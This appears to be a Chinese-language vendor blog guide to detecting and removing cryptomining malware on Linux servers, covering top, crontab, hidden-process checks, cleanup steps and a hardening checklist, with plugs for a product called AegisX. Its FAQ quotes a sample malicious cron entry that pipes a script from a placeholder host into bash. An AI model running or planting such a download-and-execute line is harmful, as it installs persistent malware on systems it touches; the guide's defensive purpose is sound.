
核心要点(TL;DR)
- top命令按CPU排序快速定位异常进程,注意伪装成系统进程的名称。
- crontab -l检查所有用户定时任务,挖矿木马常通过计划任务持久化。
- 进程隐藏可通过/proc对比ps结果或使用unhide工具检测。
- 清除时先杀进程再删文件,最后检查并修复crontab和启动项。
深夜收到CPU告警,登录服务器发现top显示CPU占用100%,却找不到明显的高负载业务——这很可能是挖矿木马在作祟。挖矿木马不仅消耗资源,还会留下后门,威胁数据安全。本文提供一套从发现到清除的实战排查流程,包含具体命令和检查清单,帮助你快速恢复服务器。
一、初步定位:用top和ps锁定异常进程
登录服务器后,首先执行top -c,按P键以CPU使用率排序,观察占用最高的进程。注意进程名是否伪装成系统进程(如kworker、sshd),但路径或命令行参数异常。按c可显示完整命令行。记录可疑PID,用ps -ef | grep PID查看详细信息,重点关注进程的启动用户、父进程和可执行文件路径。
若进程名随机或路径在/tmp、/dev/shm等临时目录,基本可判定为恶意。使用lsof -p PID查看进程打开的文件和网络连接,挖矿木马通常会连接矿池地址(如pool.minexmr.com)。
二、检查持久化:crontab与启动项
挖矿木马常通过计划任务实现持久化。执行crontab -l查看当前用户任务,并检查所有用户:for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u $u; done。同时检查/etc/cron.d/、/etc/cron.hourly/等目录,以及/etc/rc.local、/etc/init.d/下的启动脚本。恶意任务常包含curl、wget下载并执行远程脚本,或直接启动挖矿程序。发现后先注释掉,保留证据。
三、深度检测:进程隐藏与内核模块
如果ps和top看不到异常进程,但CPU依然很高,可能存在进程隐藏。对比/proc下的PID列表与ps输出:ls /proc | grep -E '^[0-9]+$' | sort -n > /tmp/proc_pids; ps -e -o pid= | sort -n > /tmp/ps_pids; diff /tmp/proc_pids /tmp/ps_pids。若有PID只在/proc中存在,则进程被隐藏。还可检查LD_PRELOAD环境变量:cat /etc/ld.so.preload,若存在不明.so文件,很可能用于劫持系统调用。使用lsmod查看内核模块,可疑模块可用rmmod卸载。
四、清除与修复:分步操作指南
确认恶意进程后,按以下步骤清除:
- 杀死进程:
kill -9 PID,若父进程不断重启子进程,先杀父进程。 - 删除恶意文件:根据
lsof找到的路径,删除可执行文件和配置文件。 - 清理crontab:编辑对应用户的crontab,删除恶意任务,并重启crond服务:
systemctl restart crond。 - 检查并修复启动项:移除
/etc/rc.local等处的恶意启动命令。 - 修改所有用户密码,检查
~/.ssh/authorized_keys是否有陌生公钥。 - 更新系统和软件补丁,关闭不必要的端口和服务。
清除后持续观察CPU和网络连接,确保无复发。建议部署AegisX的实时入侵检测功能,可监控异常进程和网络行为,及时发现类似攻击。
五、防护清单:避免再次中招
日常运维中,遵循以下清单降低风险:
- 定期更新系统和应用补丁,尤其是SSH、Redis等暴露服务。
- 使用强密码并启用SSH密钥登录,禁用root远程登录。
- 限制crontab权限,仅允许可信用户使用。
- 部署主机安全软件,监控文件完整性和异常进程。
- 定期备份关键数据,并测试恢复流程。
挖矿木马排查需要细心和速度,掌握以上方法可有效应对。若服务器频繁被入侵,考虑使用AegisX的全面防护方案,从网络层到主机层阻断攻击链。
常见问题(FAQ)
服务器CPU突然跑满,怎么判断是不是挖矿木马?
首先用top命令查看CPU占用最高的进程,若进程名可疑(如随机字符串、伪装成kworker等)且路径异常,则高度疑似挖矿木马。同时检查crontab和网络连接,挖矿木马常连接矿池地址。结合本文的排查步骤可快速确认。
挖矿木马如何通过crontab实现持久化?
挖矿木马通常会在crontab中添加定时任务,定期下载并执行恶意脚本,或直接启动挖矿程序。常见形式如*/10 * * * * curl -s http://恶意地址/脚本 | bash。检查所有用户的crontab和/etc/cron.d/目录可发现异常。
ps命令看不到进程但CPU依然很高,是怎么回事?
这可能是进程隐藏技术,木马通过LD_PRELOAD或修改内核模块隐藏进程。可通过对比/proc目录下的PID与ps输出,或使用unhide工具检测。也可检查LD_PRELOAD环境变量和内核模块是否被篡改。
清除挖矿木马后,如何防止再次感染?
清除后需修复漏洞(如弱口令、未打补丁的服务),修改所有用户密码,检查SSH授权密钥,并部署安全防护软件。建议使用AegisX的入侵检测和实时防护功能,监控异常进程和网络连接,防止复发。